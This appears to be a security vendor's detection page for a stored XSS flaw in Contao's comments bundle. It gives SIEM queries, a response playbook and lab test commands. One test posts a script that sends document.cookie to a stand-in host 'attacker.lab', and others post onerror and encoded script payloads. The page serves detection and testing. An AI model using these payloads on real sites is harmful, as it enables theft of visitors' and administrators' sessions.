Contao Comments Bundle Stored XSS (CVE-2026-107845)
Detects exploitation attempts and vulnerable deployments of CVE-2026-107845, a stored cross-site scripting (XSS) vulnerability in the Contao comments-bundle (CWE-79, CWE-116, CVSS 9.3). Affected versions are contao/comments-bundle >= 4.0.0, < 5.3.50 and >= 5.4.0-RC1, < 5.7.12. The comments bundle fails to properly neutralize/encode user-supplied markup in submitted comments, allowing an attacker to persist JavaScript that executes in the browsers of other visitors or back-end administrators reviewing comments. This detection surfaces anomalous comment-submission POST requests carrying script-like payloads, reflected/stored script markers in subsequent page responses, and known-vulnerable Contao versions. Exploit status is theoretical; prioritize patching to 5.3.50 or 5.7.12.
Vulnerability Intelligence
TheoreticalAffected Software
- Vendor
- composer
- Product
- contao/comments-bundle
- Versions
- >= 4.0.0, < 5.3.50, >= 5.4.0-RC1, < 5.7.12
Timeline
- Disclosed
- October 9, 2026
References & Proof of Concept
- https://github.com/contao/contao/security/advisories/GHSA-628f-v4f6-p37r
- https://github.com/contao/contao/commit/22505d5f79bc1a7f52e2cba5fddf6007e1f0408a
- https://github.com/contao/contao/releases/tag/5.3.50
- https://github.com/contao/contao/releases/tag/5.7.12
- https://github.com/advisories/GHSA-628f-v4f6-p37r
CVSS
- Attack Vector
- Network
- Attack Complexity
- Low
- Privileges Required
- None
- User Interaction
- Required
- Scope
- Changed
- Confidentiality
- High
- Integrity
- High
- Availability
- None
What is CVE-2026-107845 Contao Comments Bundle Stored XSS (CVE-2026-107845)?
Contao Comments Bundle Stored XSS (CVE-2026-107845) (CVE-2026-107845) maps to the Initial Access and Execution tactics — the adversary is trying to get into your network in MITRE ATT&CK.
This page provides production-ready detection logic for Contao Comments Bundle Stored XSS (CVE-2026-107845), covering the data sources and telemetry it touches: IIS Logs, Web Server Logs. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
- Tactic
- Initial Access Execution
// df00tech DF00-a499ff23f8 · https://df00tech.com/detections/CVE-2026-107845 · licence: https://df00tech.com/detections/licence
let xssMarkers = dynamic(["<script", "javascript:", "onerror=", "onload=", "onmouseover=", "<svg", "<img", "document.cookie", "String.fromCharCode", "&#x", "%3Cscript"]);
W3CIISLog
| where csMethod == "POST"
| where csUriStem has_any ("/comments", "comment", "system/modules/comments", "_contao")
| extend DecodedQuery = url_decode(coalesce(csUriQuery, ""))
| where DecodedQuery has_any (xssMarkers) or csUriStem has_any (xssMarkers)
| project TimeGenerated, cIP, csMethod, csUriStem, csUriQuery, DecodedQuery, scStatus, csUserAgent, sSiteName, Computer
| sort by TimeGenerated desc Flags POST requests to Contao comment endpoints whose URI or decoded query string carries XSS payload markers, consistent with attempts to store script in a comment.
Data Sources
Required Tables
False Positives
- Security scanners and DAST tools (Burp, ZAP, Acunetix) probing the comment form with benign XSS test strings.
- Legitimate comments discussing HTML/JavaScript that include literal tags like <script> inside code examples.
- WAF-sanitized traffic replayed to backend where markers appear in logs but were already neutralized.
Query fingerprint DF00-a499ff23f8 · licence
Sigma logsource & community rules
The detection logic for Contao Comments Bundle Stored XSS (CVE-2026-107845) (CVE-2026-107845) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for CVE-2026-107845
References (5)
- https://github.com/contao/contao/security/advisories/GHSA-628f-v4f6-p37r
- https://github.com/contao/contao/commit/22505d5f79bc1a7f52e2cba5fddf6007e1f0408a
- https://github.com/contao/contao/releases/tag/5.3.50
- https://github.com/contao/contao/releases/tag/5.7.12
- https://github.com/advisories/GHSA-628f-v4f6-p37r
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Submit stored XSS payload to Contao comment form
Expected signal: Web server POST log entry to the comment endpoint and a new row in tl_comments containing the raw script markup.
- Test 2 Inject event-handler XSS via image tag
Expected signal: POST to comment endpoint and tl_comments row containing an img tag with an onerror handler.
- Test 3 Encoded XSS payload submission
Expected signal: POST request with URL-encoded script payload recorded in web logs and tl_comments.
Response Playbook
Triage
- Confirm the targeted host runs Contao with the comments-bundle and identify its version via `composer show contao/comments-bundle` or the composer.lock file; flag if it is < 5.3.50 (4.x/5.x line) or >= 5.4.0-RC1 and < 5.7.12.
- Extract the full submitted comment payload from the web/application logs or the Contao `tl_comments` database table and decode it to determine whether it contains executable script markup.
- Determine whether the stored comment has been rendered to other users or back-end admins (check published/approved status in `tl_comments.published`) to assess whether the XSS has actually fired.
- Correlate the source IP and user-agent against known scanner fingerprints and prior reconnaissance against the site.
Containment
- Unpublish or delete the malicious comment(s) from the Contao back end or directly from the `tl_comments` table, and purge any page/cache fragments containing the stored payload.
- Deploy a WAF rule to block POST requests to comment endpoints containing script markup (<script, onerror=, javascript:) until the bundle is patched.
- Upgrade contao/comments-bundle to 5.3.50 or 5.7.12 (matching your major line) via `composer update contao/comments-bundle` and rebuild the Contao caches.
Evidence Collection
- Preserve raw web server access/POST-body logs, the `tl_comments` rows (including author IP, timestamp, and raw text), and the Contao application log for the affected time window.
- Capture the stored payload verbatim and hash it; snapshot the rendered page HTML showing the injected script for the incident record.
Escalation Criteria
- ! Escalate to IR if evidence shows the payload fired in a back-end administrator session (session/cookie theft or admin account actions), indicating potential CMS compromise.
- ! Escalate if the injected script references external C2/credential-harvesting infrastructure or if multiple distinct payloads indicate active, targeted exploitation rather than scanning.
Investigation Guide
Forensic Artifacts
- >
The `tl_comments` database table rows containing the raw, unsanitized comment text and submitter metadata. - >
Web server access logs and POST body captures showing the submission request. - >
Contao system log and cached rendered page fragments embedding the injected markup.
Tuning Guidance
Baseline normal comment-submission volume and body content for the site; many false positives come from code/HTML discussion and from security scanners. Narrow the marker set to high-signal patterns (document.cookie, onerror=, <svg/onload) if legitimate comments frequently include literal HTML examples, and allowlist known scanner source IPs. Where POST bodies are available, prefer matching on the actual comment field over the URL query, since Contao submits comments in the request body.
Hunting Queries
Aggregate comment-submission XSS attempts by source IP to distinguish spray scanning from targeted abuse.
// df00tech DF00-a499ff23f8 · https://df00tech.com/detections/CVE-2026-107845 · licence: https://df00tech.com/detections/licence
W3CIISLog | where csMethod == "POST" and csUriStem has "comment" | extend d=url_decode(coalesce(csUriQuery,"")) | where d has_any ("<script","onerror=","document.cookie") | summarize count() by cIP, bin(TimeGenerated, 1h) ``` df00tech DF00-a499ff23f8 · https://df00tech.com/detections/CVE-2026-107845 · licence: https://df00tech.com/detections/licence ```
index=web method=POST uri_path="*comment*" | eval d=urldecode(uri_query) | search d="*<script*" OR d="*onerror=*" OR d="*document.cookie*" | stats count by src_ip Atomic Red Team Tests
Simulates an attacker posting a comment containing a script payload to a lab Contao instance with the vulnerable comments-bundle.
Command
curl -s -X POST 'http://contao-lab.local/_contao/comment' --data-urlencode 'comment=<script>document.location="http://attacker.lab/c?"+document.cookie</script>' --data-urlencode 'name=tester' --data-urlencode '[email protected]' Cleanup
mysql contao -e "DELETE FROM tl_comments WHERE email='[email protected]';" Expected Telemetry
Web server POST log entry to the comment endpoint and a new row in tl_comments containing the raw script markup.
Expected Detection
KQL/SPL rules flag the POST request to the comment endpoint carrying <script and document.cookie markers.
Submits a comment using an <img onerror=> handler to bypass naive <script> filters.
Command
curl -s -X POST 'http://contao-lab.local/_contao/comment' --data-urlencode 'comment=<img src=x onerror=alert(document.domain)>' --data-urlencode 'name=qa' --data-urlencode '[email protected]' Cleanup
mysql contao -e "DELETE FROM tl_comments WHERE email='[email protected]';" Expected Telemetry
POST to comment endpoint and tl_comments row containing an img tag with an onerror handler.
Expected Detection
Detection rules match the onerror= / <img marker in the request.
Submits a URL-encoded script payload to test decoding and detection of obfuscated input.
Command
powershell -Command "Invoke-WebRequest -Uri 'http://contao-lab.local/_contao/comment' -Method POST -Body @{comment='%3Cscript%3Ealert(1)%3C/script%3E';name='enc';email='[email protected]'}" Cleanup
mysql contao -e "DELETE FROM tl_comments WHERE email='[email protected]';" Expected Telemetry
POST request with URL-encoded script payload recorded in web logs and tl_comments.
Expected Detection
Rules decode the payload (url_decode/urldecode) or match the %3Cscript encoded marker and alert.
Related Detections
Tactic Hubs
Related Techniques
Same Tactic: Initial Access
Blog posts about this detection
Browse by tactic
- Reconnaissance TA0043
- Resource Development TA0042
- Initial Access TA0001
- Execution TA0002
- Persistence TA0003
- Privilege Escalation TA0004
- Stealth TA0005
- Defense Impairment TA0112
- Credential Access TA0006
- Discovery TA0007
- Lateral Movement TA0008
- Collection TA0009
- Command and Control TA0011
- Exfiltration TA0010
- Impact TA0040